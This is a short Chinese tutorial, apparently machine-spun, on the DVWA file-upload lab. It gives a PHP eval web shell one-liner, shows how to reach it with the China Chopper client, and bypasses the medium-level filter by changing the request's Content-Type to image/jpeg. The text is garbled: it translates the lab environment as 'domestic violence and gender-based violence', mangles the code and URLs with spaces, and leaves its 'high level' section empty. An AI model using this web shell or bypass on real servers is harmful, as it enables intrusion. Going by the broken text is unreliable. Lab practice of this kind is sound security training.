今天跟大家聊聊大数据中的文件上传漏洞如何分析,可能很多人都不太懂。为了让大家更好的了解,边肖为大家总结了以下内容,希望大家能从这篇文章中有所收获。
一.环境:家庭暴力和基于性别的暴力
第二,选择上传,低级。
1.上传1.php文件和1.jpg文件没有问题。
PHP文件的内容是:
?PHP @ eval($ _ POST[' ABC ']);
2.访问我们上传的文件
http://192 . 168 . 152 . 188/dvwa/hackable/uploads/1 . jpg
你可以看到图片。
http://192 . 168 . 152 . 188/dvwa/hackable/uploads/1 . PHP
我什么都看不见。
3.用菜刀链接1.php文件,然后单击添加。
4.双击链接进入
第三,选择上传,中等水平。
1.上传2.php文件和2.jpg文件,发现2.php无法上传。
2.单击查看来源。
3.这里限制了上传类型,可以通过抓取包来修改上传类型。
4.我们将文本/纯文本更改为图像/jpeg,并成功上传。
5.把它和菜刀联系起来。
第四,选择上传,高水平。
看完以上内容,你对如何分析大数据中的文件上传漏洞有了更深入的了解吗?如果您想了解更多知识或相关内容,请关注行业资讯频道,感谢您的支持。
内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/141267.html